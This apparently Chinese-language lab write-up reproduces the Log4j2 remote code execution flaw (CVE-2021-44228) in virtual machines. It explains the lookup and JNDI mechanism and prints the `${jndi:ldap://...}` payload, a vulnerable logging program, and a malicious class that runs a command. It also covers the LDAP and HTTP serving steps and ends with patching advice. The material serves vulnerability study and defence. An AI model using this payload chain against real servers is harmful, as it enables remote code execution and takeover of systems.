Log4j2漏洞复现（CVE-2021-44228）

引言

Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid等。漏洞编号为CNVD-2021-95919，CVE-2021-44228。

实验环境

虚拟机运行，Win10，Java版本8u.191，Log4j 2版本为2.12.1；

靶机ip 地址：192.168.142.129；攻击机ip 地址：192.168.142.130。

漏洞原理

触发漏洞的关键代码：

org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容，而不是表达式本身，从而导致攻击者构造符合要求的表达式供系统执行。“${”可使用的关键词非常多，例如：${java:os}、${hostName}、${jndi:logging/context-name}等。

org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换，当日志在打印时遇到“${”后，Interpolator类以“：”号作为分割，将表达式内容分割成两部分，前面部分作为prefix，后面部分作为key。然后通过prefix去找对应的lookup，通过对应的lookup实例调用lookup方法，最后将key作为参数带入执行。

Jndi注入：

目前网络上传播广泛的poc“${jndi:ldap://my-ip/exp}”，除了利用到log4j的递归解析，同样涉及到了jndi注入，所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞，它将导致远程class文件加载，从而导致远程代码执行。当这条语句被传入到log4j日志文件中，lookup会将jndi注入可执行语句执行，程序会通过ldap协议访问my-ip这个地址，然后my-ip就会返回一个包含java代码的class文件的地址，然后程序再通过返回的地址下载class文件并执行，从而达成漏洞利用目的。

漏洞大致利用流程：

第一步：向目标发送指定payload，目标对payload进行解析执行，然后会通过ldap链接远程服务，当ldap服务收到请求之后，将请求进行重定向到恶意 java class的地址。

第二步：目标服务器收到重定向请求之后，下载恶意class并执行其中的代码，从而执行系统命令。

复现过程

在靶机中新建一个Java工程，将apache log4j2.12.1的依赖包导入，在src文件夹下创建log4j2.xml文件，作为log4j的配置文件，用来控制输出格式。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

在src文件下创建hack.java，模拟使用Log4j2框架的网站服务器程序。在网页中一般会有提交表单的输入框，当输入报错时，很可能会将输入框的内容通过logger进行输出，从而将输入框中的注入攻击语句直接作为参数传递给logger.error函数。

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
    private static final Logger logger = LogManager.getLogger(Hack.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

在攻击机上创建一个恶意类Log4jRCE.java，这里存放我们将要通过服务器执行命令的代码，比如调出计算器，编译得到Log4jRCE.class，

import java.io.BufferedReader;    
import java.io.IOException;    
import java.io.InputStream;    
import java.io.InputStreamReader;    
   
public class Log4jRCE {    
    static {
        System.out.println("I am Log4jRCE from remote!!!");

        try {
            String [] cmd = {"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }    
        catch (IOException e) {    
             e.printStackTrace();
        }
     }    
}

启动python自带的http服务器，将Log4jRCE.class放在服务器根目录下，执行python语句“python -m http.server <post>”会创建一个简易的http服务器，服务器运行后，会以当前命令运行目录作为http服务器根目录。

下载反序列化工具marshalsec，在本地启动一个LDAP服务器，

在靶机运行IntelliJ里的Hack.java模拟注入攻击提交表单，服务器端使用log4j2输出日志，在靶机中成功调用计算器程序

同时攻击机服务器界面中也有恶意类被下载执行的回显：

至此，Log4j2漏洞的复现就完成了。

修复建议

目前，Apache官方已发布新版本完成漏洞修复，建议及时升级至最新版本：

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范：

1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

2.在应用classpath下添加log4j2.component.properties配置文件，文件内容为log4j2.formatMsgNoLookups=true；

3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本；

4.部署使用第三方防火墙产品进行安全防护。

总结

log4j组件在Java领域被广泛使用，且该漏洞非常容易利用，可以执行任意代码，属于重大威胁等级的漏洞，国内众多互联网公司也纷纷中招，log4j漏洞的影响范围之广，危害之大，堪称近几年之最。即使是这样的漏洞在历史也绝不罕见，未来也难保证不会再有，网络安全，任重而道远。

参考资料

https://mp.weixin.qq.com/s/V40zFaKhYK8wA5rg-DRaxA

https://zhuanlan.zhihu.com/p/443689489

https://mp.weixin.qq.com/s__biz=MzI5MDQ2NjExOQ==&mid=2247496255&idx=1&sn=acb66f2fd28859868892e028ac64d586&chksm=ec1dc217db6a4b018fd347ace7287631eaf31302f95fe9104b5413909a9d0092f256e484b53d&cur_album_id=1494421056474955779&scene=189#wechat_redirect文章来源地址https://uudwc.com/A/0qdw